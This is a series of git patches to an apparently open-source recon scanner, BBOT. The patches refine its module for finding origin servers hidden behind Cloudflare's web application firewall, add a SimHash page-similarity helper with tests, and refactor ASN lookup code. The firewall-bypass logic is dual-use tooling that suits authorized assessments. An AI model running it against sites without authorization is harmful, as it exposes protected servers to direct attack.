CHANGED for {normalized_url} - similarity: {similarity:.3f} below threshold {self.SIMILARITY_THRESHOLD} - Original: {original_canary_response.get('http_code', 'N/A')} ({len(original_canary_response.get('response_data', ''))} bytes), Current: {consistency_canary_response.get('http_code', 'N/A')} ({len(consistency_canary_response.get('response_data', ''))} bytes)" diff --git a/bbot/modules/waf_bypass.py b/bbot/modules/waf_bypass.py index 7fb7991f27..888a1ff997 100644 --- a/bbot/modules/waf_bypass.py +++ b/bbot/modules/waf_bypass.py @@ -142,8 +142,15 @@ async def handle_event(self, event): return # Store the response object for later comparison - self.content_fingerprints[url] = curl_response - self.debug(f"Stored response from {url} (content length: {len(curl_response['response_data'])})") + simhash = self.helpers.simhash.hash(curl_response["response_data"]) + self.content_fingerprints[url] = { + "simhash": simhash, + "http_code": curl_response["http_code"], + } + self.critical(f"{simhash:0128b}") + self.debug( + f"Stored simhash of response from {url} (content length: {len(curl_response['response_data'])})" + ) # Get CIDRs from the base domain of the protected domain base_dns = await self.helpers.dns.resolve(base_domain) @@ -221,11 +228,10 @@ async def check_ip(self, ip, source_domain, protected_domain, source_event): self.debug(f"did not get original response for {matching_url}") return None - self.verbose( - f"Bypass attempt: {protected_domain} via {ip} (orig len {len(original_response['response_data'])}) from {source_domain}" - ) + self.verbose(f"Bypass attempt: {protected_domain} via {ip} from {source_domain}") bypass_response = await self.get_url_content(matching_url, ip) + bypass_simhash = self.helpers.simhash.hash(bypass_response["response_data"]) if not bypass_response: self.debug(f"Failed to get content through IP {ip} for URL {matching_url}") return None @@ -238,19 +244,25 @@ async def check_ip(self, ip, source_domain, protected_domain, source_event): if bypass_response["http_code"] == 301 or bypass_response["http_code"] == 302: is_redirect = True - similarity = self.helpers.web.text_similarity( - original_response["response_data"], - bypass_response["response_data"], - similarity_cache=self.similarity_cache, - ) + self.hugeinfo(f"{original_response['simhash']:0128b}") + self.hugeinfo(f"{bypass_simhash:0128b}") + similarity = self.helpers.simhash.similarity(original_response["simhash"], bypass_simhash) + + self.critical(similarity) + + # similarity = self.helpers.web.text_similarity( + # original_response["response_data"], + # bypass_response["response_data"], + # similarity_cache=self.similarity_cache, + # ) # For redirects, require exact match (1.0), otherwise use configured threshold required_threshold = 1.0 if is_redirect else self.similarity_threshold return (matching_url, ip, similarity, source_event) if similarity >= required_threshold else None async def finish(self): - self.debug(f"Found {len(self.protected_domains)} Protected Domains") - self.debug(f"Found {len(self.bypass_candidates)} Bypass Candidates") + self.critical(f"Found {len(self.protected_domains)} Protected Domains") + self.critical(f"Found {len(self.bypass_candidates)} Bypass Candidates") confirmed_bypasses = [] # [(protected_url, matching_ip, similarity)] all_ips = {} # {ip: domain} @@ -294,6 +306,8 @@ async def finish(self): self.debug( f"Added Neighbor IP ({ip} -> {n_ip_str}) as potential bypass IP derived from {domain}" ) + else: + self.critical(f"IP {ip} is in CloudFlare IPS so we don't check as potential bypass") self.debug(f"\nFound {len(all_ips)} non-CloudFlare IPs to check: {all_ips}") diff --git a/bbot/test/test_step_1/test_helpers.py b/bbot/test/test_step_1/test_helpers.py index 8352b3550e..76968cfb56 100644 --- a/bbot/test/test_step_1/test_helpers.py +++ b/bbot/test/test_step_1/test_helpers.py @@ -975,3 +975,162 @@ async def test_rm_temp_dir_at_exit(helpers): # temp dir should be removed assert not temp_dir.exists() + + +def test_simhash_similarity(helpers): + """Test SimHash helper with increasingly different HTML pages.""" + + # Base HTML page + base_html = """ + + + + Example Page + + + +

Welcome to Example Corp

+
+

This is the main content of our website.

+

We provide excellent services to our customers.

+
    +
  • Service A
  • +
  • Service B
  • +
  • Service C
  • +
+
+
Copyright 2024 Example Corp
+ + + """ + + # Slightly different - changed one word + slightly_different = """ + + + + Example Page + + + +

Welcome to Example Corp

+
+

This is the main content of our website.

+

We provide amazing services to our customers.

+
    +
  • Service A
  • +
  • Service B
  • +
  • Service C
  • +
+
+
Copyright 2024 Example Corp
+ + + """ + + # Moderately different - changed content section + moderately_different = """ + + + + Example Page + + + +

Welcome to Example Corp

+
+

This page contains different information.

+

Our products are innovative and cutting-edge.

+
    +
  • Product X
  • +
  • Product Y
  • +
  • Product Z
  • +
+
+
Copyright 2024 Example Corp
+ + + """ + + # Very different - completely different content + very_different = """ + + + + News Portal + + + +

Latest News

+
+
+

Breaking News Today

+

Important events are happening around the world.

+
+
+

Sports Update

+

Local team wins championship game.

+
+
+
News Corp 2024
+ + + """ + + # Completely different - different structure and content + completely_different = """ + + + + 300 + 5 + + + Result A + Result B + + + """ + + # Test SimHash similarity + simhash = helpers.simhash + + # Calculate hashes + base_hash = simhash.hash(base_html) + slightly_hash = simhash.hash(slightly_different) + moderately_hash = simhash.hash(moderately_different) + very_hash = simhash.hash(very_different) + completely_hash = simhash.hash(completely_different) + + # Calculate similarities + identical_similarity = simhash.similarity(base_hash, base_hash) + slight_similarity = simhash.similarity(base_hash, slightly_hash) + moderate_similarity = simhash.similarity(base_hash, moderately_hash) + very_similarity = simhash.similarity(base_hash, very_hash) + complete_similarity = simhash.similarity(base_hash, completely_hash) + + print("@@@@") + print(f"Identical: {identical_similarity:.3f}") + print(f"Slightly different: {slight_similarity:.3f}") + print(f"Moderately different: {moderate_similarity:.3f}") + print(f"Very different: {very_similarity:.3f}") + print(f"Completely different: {complete_similarity:.3f}") + + # Verify expected similarity ordering + assert identical_similarity == 1.0, "Identical content should have similarity of 1.0" + assert slight_similarity > moderate_similarity, ( + "Slightly different should be more similar than moderately different" + ) + assert moderate_similarity > very_similarity, "Moderately different should be more similar than very different" + assert very_similarity > complete_similarity, "Very different should be more similar than completely different" + + # Verify reasonable similarity ranges based on actual SimHash behavior + # With 64-bit hashes and 3-character shingles, we get good differentiation + assert slight_similarity > 0.90, "Slightly different content should be highly similar (>0.90)" + assert moderate_similarity > 0.70, "Moderately different content should be quite similar (>0.70)" + assert very_similarity > 0.50, "Very different content should have medium similarity (>0.50)" + assert complete_similarity > 0.30, "Completely different content should have low similarity (>0.30)" + assert complete_similarity < 0.50, "Completely different content should be clearly different (<0.50)" + + # Most importantly, verify the ordering is correct + assert identical_similarity > slight_similarity > moderate_similarity > very_similarity > complete_similarity From 33ef6db840c8ceb4828050fa0b7fde52016caa0b Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 26 Sep 2025 12:46:40 -0400 Subject: [PATCH 081/129] remove debug messages --- bbot/modules/waf_bypass.py | 17 +++-------------- 1 file changed, 3 insertions(+), 14 deletions(-) diff --git a/bbot/modules/waf_bypass.py b/bbot/modules/waf_bypass.py index 888a1ff997..05658026ad 100644 --- a/bbot/modules/waf_bypass.py +++ b/bbot/modules/waf_bypass.py @@ -147,7 +147,6 @@ async def handle_event(self, event): "simhash": simhash, "http_code": curl_response["http_code"], } - self.critical(f"{simhash:0128b}") self.debug( f"Stored simhash of response from {url} (content length: {len(curl_response['response_data'])})" ) @@ -244,25 +243,15 @@ async def check_ip(self, ip, source_domain, protected_domain, source_event): if bypass_response["http_code"] == 301 or bypass_response["http_code"] == 302: is_redirect = True - self.hugeinfo(f"{original_response['simhash']:0128b}") - self.hugeinfo(f"{bypass_simhash:0128b}") similarity = self.helpers.simhash.similarity(original_response["simhash"], bypass_simhash) - self.critical(similarity) - - # similarity = self.helpers.web.text_similarity( - # original_response["response_data"], - # bypass_response["response_data"], - # similarity_cache=self.similarity_cache, - # ) - # For redirects, require exact match (1.0), otherwise use configured threshold required_threshold = 1.0 if is_redirect else self.similarity_threshold return (matching_url, ip, similarity, source_event) if similarity >= required_threshold else None async def finish(self): - self.critical(f"Found {len(self.protected_domains)} Protected Domains") - self.critical(f"Found {len(self.bypass_candidates)} Bypass Candidates") + self.verbose(f"Found {len(self.protected_domains)} Protected Domains") + self.verbose(f"Found {len(self.bypass_candidates)} Bypass Candidates") confirmed_bypasses = [] # [(protected_url, matching_ip, similarity)] all_ips = {} # {ip: domain} @@ -307,7 +296,7 @@ async def finish(self): f"Added Neighbor IP ({ip} -> {n_ip_str}) as potential bypass IP derived from {domain}" ) else: - self.critical(f"IP {ip} is in CloudFlare IPS so we don't check as potential bypass") + self.debug(f"IP {ip} is in CloudFlare IPS so we don't check as potential bypass") self.debug(f"\nFound {len(all_ips)} non-CloudFlare IPs to check: {all_ips}") From 9576232abe1390ff2856f78ccd7811aded02f524 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 26 Sep 2025 12:52:14 -0400 Subject: [PATCH 082/129] debug junk --- bbot/test/test_step_1/test_helpers.py | 1 - 1 file changed, 1 deletion(-) diff --git a/bbot/test/test_step_1/test_helpers.py b/bbot/test/test_step_1/test_helpers.py index 76968cfb56..e5fd45575c 100644 --- a/bbot/test/test_step_1/test_helpers.py +++ b/bbot/test/test_step_1/test_helpers.py @@ -1109,7 +1109,6 @@ def test_simhash_similarity(helpers): very_similarity = simhash.similarity(base_hash, very_hash) complete_similarity = simhash.similarity(base_hash, completely_hash) - print("@@@@") print(f"Identical: {identical_similarity:.3f}") print(f"Slightly different: {slight_similarity:.3f}") print(f"Moderately different: {moderate_similarity:.3f}") From 323284e7cbd230d014649766d76b1be92865fce7 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 26 Sep 2025 13:01:34 -0400 Subject: [PATCH 083/129] add simhash helper --- bbot/core/helpers/simhash.py | 89 ++++++++++++++++++++++++++++++++++++ 1 file changed, 89 insertions(+) create mode 100644 bbot/core/helpers/simhash.py diff --git a/bbot/core/helpers/simhash.py b/bbot/core/helpers/simhash.py new file mode 100644 index 0000000000..5bc9cb680e --- /dev/null +++ b/bbot/core/helpers/simhash.py @@ -0,0 +1,89 @@ +import xxhash +import re + + +class SimHash: + def __init__(self, bits=64): + self.bits = bits + + def _truncate_content(self, content): + """ + Truncate large content for similarity comparison to improve performance. + + Truncation rules: + - If content <= 3072 bytes: return as-is + - If content > 3072 bytes: return first 2048 bytes + last 1024 bytes + """ + content_length = len(content) + + # No truncation needed for smaller content + if content_length <= 3072: + return content + + # Truncate: first 2048 + last 1024 bytes + first_part = content[:2048] + last_part = content[-1024:] + + return first_part + last_part + + def _normalize_text(self, text, normalization_filter): + """ + Normalize text by removing the normalization filter from the text. + """ + return text.replace(normalization_filter, "") + + def _get_features(self, text): + """Extract 3-character shingles as features""" + width = 3 + text = text.lower() + # Remove non-word characters + text = re.sub(r"[^\w]+", "", text) + # Create 3-character shingles + return [text[i : i + width] for i in range(max(len(text) - width + 1, 1))] + + def _hash_feature(self, feature): + """Return a hash of a feature using xxHash""" + return xxhash.xxh64(feature.encode("utf-8")).intdigest() + + def hash(self, text, truncate=True, normalization_filter=None): + """ + Generate a SimHash fingerprint for the given text. + + Args: + text (str): The text to hash + truncate (bool): Whether to truncate large text for performance. Defaults to True. + When enabled, text larger than 4KB is truncated to first 2KB + last 1KB for comparison. + + Returns: + int: The SimHash fingerprint + """ + # Apply truncation if enabled + if truncate: + text = self._truncate_content(text) + + if normalization_filter: + text = self._normalize_text(text, normalization_filter) + + vector = [0] * self.bits + features = self._get_features(text) + + for feature in features: + hv = self._hash_feature(feature) + for i in range(self.bits): + bit = (hv >> i) & 1 + vector[i] += 1 if bit else -1 + + # Final fingerprint + fingerprint = 0 + for i, val in enumerate(vector): + if val >= 0: + fingerprint |= 1 << i + return fingerprint + + def similarity(self, hash1, hash2): + """ + Compute similarity between two SimHashes as a value between 0.0 and 1.0. + """ + # Hamming distance: count of differing bits + diff = (hash1 ^ hash2).bit_count() + return 1.0 - (diff / self.bits) From d3a68d5ddeb3efe9f3e6049fbbb265c7f8a2204d Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 26 Sep 2025 13:23:23 -0400 Subject: [PATCH 084/129] fixing inefficient seed event class sorting --- bbot/core/event/helpers.py | 25 ++++++++++++++++++++----- 1 file changed, 20 insertions(+), 5 deletions(-) diff --git a/bbot/core/event/helpers.py b/bbot/core/event/helpers.py index a87dbca2a9..389c09d481 100644 --- a/bbot/core/event/helpers.py +++ b/bbot/core/event/helpers.py @@ -8,6 +8,18 @@ bbot_event_seeds = {} +# Pre-compute sorted event classes for performance +# This is computed once when the module is loaded instead of on every EventSeed() call +def _get_sorted_event_classes(): + """ + Sort event classes by priority (higher priority first). + This ensures specific patterns like ASN:12345 are checked before broad patterns like hostname:port. + """ + return sorted(bbot_event_seeds.items(), key=lambda x: getattr(x[1], "priority", 5), reverse=True) + +# This will be populated after all event seed classes are registered +_sorted_event_classes = None + """ An "Event Seed" is a lightweight event containing only the minimum logic required to: @@ -40,22 +52,25 @@ class EventSeedRegistry(type): """ def __new__(mcs, name, bases, attrs): - global bbot_event_seeds + global bbot_event_seeds, _sorted_event_classes cls = super().__new__(mcs, name, bases, attrs) # Don't register the base EventSeed class if name != "BaseEventSeed": bbot_event_seeds[cls.__name__] = cls + # Recompute sorted classes whenever a new event seed is registered + _sorted_event_classes = _get_sorted_event_classes() return cls def EventSeed(input): input = smart_encode_punycode(smart_decode(input).strip()) - # Sort event classes by priority (higher priority first) - # This ensures specific patterns like ASN:12345 are checked before broad patterns like hostname:port - sorted_event_classes = sorted(bbot_event_seeds.items(), key=lambda x: getattr(x[1], "priority", 5), reverse=True) + # Use pre-computed sorted event classes for better performance + global _sorted_event_classes + if _sorted_event_classes is None: + _sorted_event_classes = _get_sorted_event_classes() - for _, event_class in sorted_event_classes: + for _, event_class in _sorted_event_classes: if hasattr(event_class, "precheck"): if event_class.precheck(input): return event_class(input) From 39bc9fef7856b632f90864e6d414012f298e53fe Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 26 Sep 2025 13:29:33 -0400 Subject: [PATCH 085/129] remove unnecessary warning --- bbot/core/helpers/asn.py | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/bbot/core/helpers/asn.py b/bbot/core/helpers/asn.py index 2d589c798d..3b26bb2f01 100644 --- a/bbot/core/helpers/asn.py +++ b/bbot/core/helpers/asn.py @@ -23,9 +23,9 @@ def __init__(self, parent_helper): UNKNOWN_ASN = { "asn": "0", "subnets": [], - "name": "unknown", - "description": "unknown", - "country": "", + "asn_name": "unknown", + "org": "unknown", + "country": "unknown", } async def _request_with_retry(self, url, max_retries=10): @@ -104,7 +104,6 @@ async def _query_api_ip(self, ip: str): status = getattr(response, "status_code", 0) if status != 200: - log.warning(f"ASN DB API: returned {status} for {ip}") return None try: @@ -141,7 +140,6 @@ async def _query_api_asn(self, asn: str): status = getattr(response, "status_code", 0) if status != 200: - log.warning(f"ASN DB API: returned {status} for {asn}") return None try: From ddc0a9cb6aa360be9b0528977a504b58758ae99d Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 26 Sep 2025 13:47:19 -0400 Subject: [PATCH 086/129] DRY --- bbot/core/helpers/asn.py | 124 +++++++++++++++++---------------------- 1 file changed, 55 insertions(+), 69 deletions(-) diff --git a/bbot/core/helpers/asn.py b/bbot/core/helpers/asn.py index 3b26bb2f01..38368bce30 100644 --- a/bbot/core/helpers/asn.py +++ b/bbot/core/helpers/asn.py @@ -54,6 +54,41 @@ async def _request_with_retry(self, url, max_retries=10): return response + async def _query_api(self, identifier, url_base, processor_method): + """Common API query method that handles request/response pattern.""" + url = f"{url_base}{identifier}" + response = await self._request_with_retry(url) + if response is None: + log.warning(f"ASN DB API: no response for {identifier}") + return None + + status = getattr(response, "status_code", 0) + if status != 200: + return None + + try: + raw = response.json() + except Exception as e: + log.warning(f"ASN DB API: JSON decode error for {identifier}: {e}") + return None + + if isinstance(raw, dict): + return processor_method(raw, identifier) + + log.warning(f"ASN DB API: returned unexpected format for {identifier}: {raw}") + return None + + def _build_asn_record(self, raw, subnets): + """Build standardized ASN record from API response.""" + return [{ + "asn": str(raw.get("asn", "")), + "subnets": subnets, + "name": raw.get("asn_name", ""), + "description": raw.get("org", ""), + "country": raw.get("country", ""), + }] + + async def asn_to_subnets(self, asn): """Return subnets for *asn* using cached subnet ranges where possible.""" # Handle both int and str inputs @@ -95,77 +130,28 @@ async def ip_to_subnets(self, ip: str): return [self.UNKNOWN_ASN] async def _query_api_ip(self, ip: str): - # Build request URL using overridable base - url = f"{self.asndb_ip_url}{ip}" - response = await self._request_with_retry(url) - if response is None: - log.warning(f"ASN DB API: no response for {ip}") - return None - - status = getattr(response, "status_code", 0) - if status != 200: - return None - - try: - raw = response.json() - except Exception as e: - log.warning(f"ASN DB API: JSON decode error for {ip}: {e}") - return None - - if isinstance(raw, dict): - subnets = raw.get("subnets") - if isinstance(subnets, str): - subnets = [subnets] - if not subnets: - subnets = [f"{ip}/32"] - - rec = { - "asn": str(raw.get("asn", "")), - "subnets": subnets, - "name": raw.get("asn_name", ""), - "description": raw.get("org", ""), - "country": raw.get("country", ""), - } - return [rec] - - log.warning(f"ASN DB API: returned unexpected format for {ip}: {raw}") - return None + """Query ASN DB API for IP address information.""" + return await self._query_api(ip, self.asndb_ip_url, self._process_ip_response) + + def _process_ip_response(self, raw, ip): + """Process IP lookup response from ASN DB API.""" + subnets = raw.get("subnets") + if isinstance(subnets, str): + subnets = [subnets] + if not subnets: + subnets = [f"{ip}/32"] + return self._build_asn_record(raw, subnets or []) async def _query_api_asn(self, asn: str): - url = f"{self.asndb_asn_url}{asn}" - response = await self._request_with_retry(url) - if response is None: - log.warning(f"ASN DB API: no response for {asn}") - return None - - status = getattr(response, "status_code", 0) - if status != 200: - return None - - try: - raw = response.json() - except Exception as e: - log.warning(f"ASN DB API: JSON decode error for {asn}: {e}") - return None - - if isinstance(raw, dict): - subnets = raw.get("subnets") - if isinstance(subnets, str): - subnets = [subnets] - if not subnets: - subnets = [] - - rec = { - "asn": str(raw.get("asn", "")), - "subnets": subnets, - "name": raw.get("asn_name", ""), - "description": raw.get("org", ""), - "country": raw.get("country", ""), - } - return [rec] - - log.warning(f"ASN DB API: returned unexpected format for {asn}: {raw}") - return None + """Query ASN DB API for ASN information.""" + return await self._query_api(asn, self.asndb_asn_url, self._process_asn_response) + + def _process_asn_response(self, raw, asn): + """Process ASN lookup response from ASN DB API.""" + subnets = raw.get("subnets") + if isinstance(subnets, str): + subnets = [subnets] + return self._build_asn_record(raw, subnets or []) def _cache_store_asn(self, asn_list, asn_id: int): """Cache ASN data by ASN ID""" From 3faf36ff7ddee3e2efe14b5df6735c20b2a7cfe8 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 26 Sep 2025 14:05:05 -0400 Subject: [PATCH 087/129] refactor for correct api format --- bbot/core/event/helpers.py | 19 ++++---- bbot/core/helpers/asn.py | 72 ++++++++++++++-------------- bbot/modules/report/asn.py | 2 +- bbot/modules/waf_bypass.py | 64 ++++++++++++------------- bbot/test/test_step_1/test_target.py | 42 ++++++++-------- 5 files changed, 97 insertions(+), 102 deletions(-) diff --git a/bbot/core/event/helpers.py b/bbot/core/event/helpers.py index 389c09d481..c366bcaaad 100644 --- a/bbot/core/event/helpers.py +++ b/bbot/core/event/helpers.py @@ -8,6 +8,7 @@ bbot_event_seeds = {} + # Pre-compute sorted event classes for performance # This is computed once when the module is loaded instead of on every EventSeed() call def _get_sorted_event_classes(): @@ -17,6 +18,7 @@ def _get_sorted_event_classes(): """ return sorted(bbot_event_seeds.items(), key=lambda x: getattr(x[1], "priority", 5), reverse=True) + # This will be populated after all event seed classes are registered _sorted_event_classes = None @@ -287,16 +289,15 @@ def _override_input(self, input): # This method resolves the ASN to a list of IP_RANGES using the ASN API, and then adds the cidr string as a child event seed. # These will later be automatically resolved to an IP_RANGE event seed and added to the target. async def _generate_children(self, helpers): - asns = await helpers.asn.asn_to_subnets(int(self.data)) + asn_data = await helpers.asn.asn_to_subnets(int(self.data)) children = [] - if asns: - for asn in asns: - subnets = asn.get("subnets") - if isinstance(subnets, str): - subnets = [subnets] - if subnets: - for cidr in subnets: - children.append(cidr) + if asn_data: + subnets = asn_data.get("subnets") + if isinstance(subnets, str): + subnets = [subnets] + if subnets: + for cidr in subnets: + children.append(cidr) return children @staticmethod diff --git a/bbot/core/helpers/asn.py b/bbot/core/helpers/asn.py index 38368bce30..348b381389 100644 --- a/bbot/core/helpers/asn.py +++ b/bbot/core/helpers/asn.py @@ -15,16 +15,16 @@ def __init__(self, parent_helper): # IP radix trees (authoritative store) – IPv4 and IPv6 self._tree4: IPRadixTree = IPRadixTree() self._tree6: IPRadixTree = IPRadixTree() - self._subnet_to_asn_cache: dict[str, list] = {} + self._subnet_to_asn_cache: dict[str, dict] = {} # ASN cache (ASN ID -> data mapping) - self._asn_to_data_cache: dict[int, list] = {} + self._asn_to_data_cache: dict[int, dict] = {} # Default record used when no ASN data can be found UNKNOWN_ASN = { "asn": "0", "subnets": [], - "asn_name": "unknown", - "org": "unknown", + "name": "unknown", + "description": "unknown", "country": "unknown", } @@ -74,20 +74,19 @@ async def _query_api(self, identifier, url_base, processor_method): if isinstance(raw, dict): return processor_method(raw, identifier) - + log.warning(f"ASN DB API: returned unexpected format for {identifier}: {raw}") return None def _build_asn_record(self, raw, subnets): """Build standardized ASN record from API response.""" - return [{ + return { "asn": str(raw.get("asn", "")), "subnets": subnets, - "name": raw.get("asn_name", ""), - "description": raw.get("org", ""), - "country": raw.get("country", ""), - }] - + "name": raw.get("asn_name") or "", + "description": raw.get("org") or "", + "country": raw.get("country") or "", + } async def asn_to_subnets(self, asn): """Return subnets for *asn* using cached subnet ranges where possible.""" @@ -99,7 +98,7 @@ async def asn_to_subnets(self, asn): asn_int = int(str(asn.lower()).lstrip("as")) except ValueError: log.warning(f"Invalid ASN format: {asn}") - return [self.UNKNOWN_ASN] + return self.UNKNOWN_ASN cached = self._cache_lookup_asn(asn_int) if cached is not None: @@ -111,7 +110,7 @@ async def asn_to_subnets(self, asn): if asn_data: self._cache_store_asn(asn_data, asn_int) return asn_data - return [self.UNKNOWN_ASN] + return self.UNKNOWN_ASN async def ip_to_subnets(self, ip: str): """Return ASN info for *ip* using cached subnet ranges where possible.""" @@ -120,14 +119,14 @@ async def ip_to_subnets(self, ip: str): cached = self._cache_lookup_ip(ip_str) if cached is not None: log.debug(f"cache HIT for ip: {ip_str}") - return cached or [self.UNKNOWN_ASN] + return cached or self.UNKNOWN_ASN log.debug(f"cache MISS for ip: {ip_str}") asn_data = await self._query_api_ip(ip_str) if asn_data: self._cache_store_ip(asn_data) return asn_data - return [self.UNKNOWN_ASN] + return self.UNKNOWN_ASN async def _query_api_ip(self, ip: str): """Query ASN DB API for IP address information.""" @@ -135,12 +134,13 @@ async def _query_api_ip(self, ip: str): def _process_ip_response(self, raw, ip): """Process IP lookup response from ASN DB API.""" - subnets = raw.get("subnets") + subnets = raw.get("subnets", []) + # API returns subnets as array, but handle string case for safety if isinstance(subnets, str): subnets = [subnets] if not subnets: subnets = [f"{ip}/32"] - return self._build_asn_record(raw, subnets or []) + return self._build_asn_record(raw, subnets) async def _query_api_asn(self, asn: str): """Query ASN DB API for ASN information.""" @@ -148,36 +148,36 @@ async def _query_api_asn(self, asn: str): def _process_asn_response(self, raw, asn): """Process ASN lookup response from ASN DB API.""" - subnets = raw.get("subnets") + subnets = raw.get("subnets", []) + # API returns subnets as array, but handle string case for safety if isinstance(subnets, str): subnets = [subnets] - return self._build_asn_record(raw, subnets or []) + return self._build_asn_record(raw, subnets) - def _cache_store_asn(self, asn_list, asn_id: int): + def _cache_store_asn(self, asn_record, asn_id: int): """Cache ASN data by ASN ID""" - self._asn_to_data_cache[asn_id] = asn_list - log.debug(f"ASN cache ADD {asn_id} -> {asn_list[0].get('asn', '?') if asn_list else '?'}") + self._asn_to_data_cache[asn_id] = asn_record + log.debug(f"ASN cache ADD {asn_id} -> {asn_record.get('asn', '?') if asn_record else '?'}") def _cache_lookup_asn(self, asn_id: int): """Lookup cached ASN data by ASN ID""" return self._asn_to_data_cache.get(asn_id) - def _cache_store_ip(self, asn_list): + def _cache_store_ip(self, asn_record): if not (self._tree4 or self._tree6): return - for rec in asn_list: - subnets = rec.get("subnets") or [] - if isinstance(subnets, str): - subnets = [subnets] - for p in subnets: - try: - net = ipaddress.ip_network(p, strict=False) - except ValueError: - continue - tree = self._tree4 if net.version == 4 else self._tree6 - tree.insert(str(net), data=asn_list) - self._subnet_to_asn_cache[str(net)] = asn_list - log.debug(f"IP cache ADD {net} -> {asn_list[:1][0].get('asn', '?')}") + subnets = asn_record.get("subnets") or [] + if isinstance(subnets, str): + subnets = [subnets] + for p in subnets: + try: + net = ipaddress.ip_network(p, strict=False) + except ValueError: + continue + tree = self._tree4 if net.version == 4 else self._tree6 + tree.insert(str(net), data=asn_record) + self._subnet_to_asn_cache[str(net)] = asn_record + log.debug(f"IP cache ADD {net} -> {asn_record.get('asn', '?')}") def _cache_lookup_ip(self, ip: str): ip_obj = ipaddress.ip_address(ip) diff --git a/bbot/modules/report/asn.py b/bbot/modules/report/asn.py index 12907663f5..19e8ec4d2b 100644 --- a/bbot/modules/report/asn.py +++ b/bbot/modules/report/asn.py @@ -58,7 +58,7 @@ async def handle_event(self, event): asn_data = await self.helpers.asn.ip_to_subnets(host_str) if asn_data: - asn_record = asn_data[0] + asn_record = asn_data asn_number = asn_record.get("asn") asn_desc = asn_record.get("description", "") asn_name = asn_record.get("name", "") diff --git a/bbot/modules/waf_bypass.py b/bbot/modules/waf_bypass.py index 7fb7991f27..748ab917c6 100644 --- a/bbot/modules/waf_bypass.py +++ b/bbot/modules/waf_bypass.py @@ -158,19 +158,18 @@ async def handle_event(self, event): for ip in base_dns: self.debug(f"Getting ASN info for IP {ip} from {provider_name} base domain {base_domain}") - asns = await self.helpers.asn.ip_to_subnets(str(ip)) - if asns: - for asn_info in asns: - subnets = asn_info.get("subnets") - if isinstance(subnets, str): - subnets = [subnets] - if subnets: - for cidr in subnets: - self.bypass_candidates[base_domain].add(cidr) - self.debug( - f"Added CIDR {cidr} from {provider_name} base domain {base_domain} " - f"(ASN{asn_info.get('asn', 'Unknown')} - {asn_info.get('name', 'Unknown')})" - ) + asn_info = await self.helpers.asn.ip_to_subnets(str(ip)) + if asn_info: + subnets = asn_info.get("subnets") + if isinstance(subnets, str): + subnets = [subnets] + if subnets: + for cidr in subnets: + self.bypass_candidates[base_domain].add(cidr) + self.debug( + f"Added CIDR {cidr} from {provider_name} base domain {base_domain} " + f"(ASN{asn_info.get('asn', 'Unknown')} - {asn_info.get('name', 'Unknown')})" + ) else: self.warning(f"No ASN info found for IP {ip}") @@ -187,20 +186,19 @@ async def handle_event(self, event): for ip in dns_response: self.debug(f"Getting ASN info for IP {ip} from non-CloudFlare domain {domain}") - asns = await self.helpers.asn.ip_to_subnets(str(ip)) - if asns: - for asn_info in asns: - subnets = asn_info.get("subnets") - if not subnets: - continue - if isinstance(subnets, str): - subnets = [subnets] - for cidr in subnets: - self.bypass_candidates[base_domain].add(cidr) - self.debug( - f"Added CIDR {cidr} from non-CloudFlare domain {domain} " - f"(ASN{asn_info.get('asn', 'Unknown')} - {asn_info.get('name', 'Unknown')})" - ) + asn_info = await self.helpers.asn.ip_to_subnets(str(ip)) + if asn_info: + subnets = asn_info.get("subnets") + if not subnets: + continue + if isinstance(subnets, str): + subnets = [subnets] + for cidr in subnets: + self.bypass_candidates[base_domain].add(cidr) + self.debug( + f"Added CIDR {cidr} from non-CloudFlare domain {domain} " + f"(ASN{asn_info.get('asn', 'Unknown')} - {asn_info.get('name', 'Unknown')})" + ) else: self.warning(f"No ASN info found for IP {ip}") @@ -278,18 +276,18 @@ async def finish(self): if self.search_ip_neighbors and ip not in self.cloud_ips: import ipaddress - orig_asns = await self.helpers.asn.ip_to_subnets(str(ip)) - if orig_asns: + orig_asn = await self.helpers.asn.ip_to_subnets(str(ip)) + if orig_asn: neighbor_net = ipaddress.ip_network(f"{ip}/{self.neighbor_cidr}", strict=False) for neighbor_ip in neighbor_net.hosts(): n_ip_str = str(neighbor_ip) if n_ip_str == ip or n_ip_str in cloudflare_ips or n_ip_str in all_ips: continue - asns_neighbor = await self.helpers.asn.ip_to_subnets(n_ip_str) - if not asns_neighbor: + asn_neighbor = await self.helpers.asn.ip_to_subnets(n_ip_str) + if not asn_neighbor: continue - # Check if any ASN matches - if any(a["asn"] == b["asn"] for a in orig_asns for b in asns_neighbor): + # Check if ASN matches + if orig_asn["asn"] == asn_neighbor["asn"]: all_ips[n_ip_str] = domain self.debug( f"Added Neighbor IP ({ip} -> {n_ip_str}) as potential bypass IP derived from {domain}" diff --git a/bbot/test/test_step_1/test_target.py b/bbot/test/test_step_1/test_target.py index 481052dc8e..1f5d9dedf8 100644 --- a/bbot/test/test_step_1/test_target.py +++ b/bbot/test/test_step_1/test_target.py @@ -389,16 +389,14 @@ async def test_asn_targets(bbot_scanner): class MockASNHelper: async def asn_to_subnets(self, asn_number): if asn_number == 15169: - return [ - { - "asn": 15169, - "name": "GOOGLE", - "description": "Google LLC", - "country": "US", - "subnets": ["8.8.8.0/24", "8.8.4.0/24"], - } - ] - return [] + return { + "asn": 15169, + "name": "GOOGLE", + "description": "Google LLC", + "country": "US", + "subnets": ["8.8.8.0/24", "8.8.4.0/24"], + } + return None class MockHelpers: def __init__(self): @@ -434,15 +432,13 @@ async def test_asn_targets_integration(bbot_scanner): from bbot.core.helpers.asn import ASNHelper # Mock ASN data for testing - mock_asn_data = [ - { - "asn": 15169, - "name": "GOOGLE", - "description": "Google LLC", - "country": "US", - "subnets": ["8.8.8.0/24", "8.8.4.0/24"], - } - ] + mock_asn_data = { + "asn": 15169, + "name": "GOOGLE", + "description": "Google LLC", + "country": "US", + "subnets": ["8.8.8.0/24", "8.8.4.0/24"], + } # Create scanner with ASN target scan = bbot_scanner("ASN:15169") @@ -451,7 +447,7 @@ async def test_asn_targets_integration(bbot_scanner): async def mock_asn_to_subnets(self, asn_number): if asn_number == 15169: return mock_asn_data - return [] + return None # Apply the mock original_method = ASNHelper.asn_to_subnets @@ -510,7 +506,7 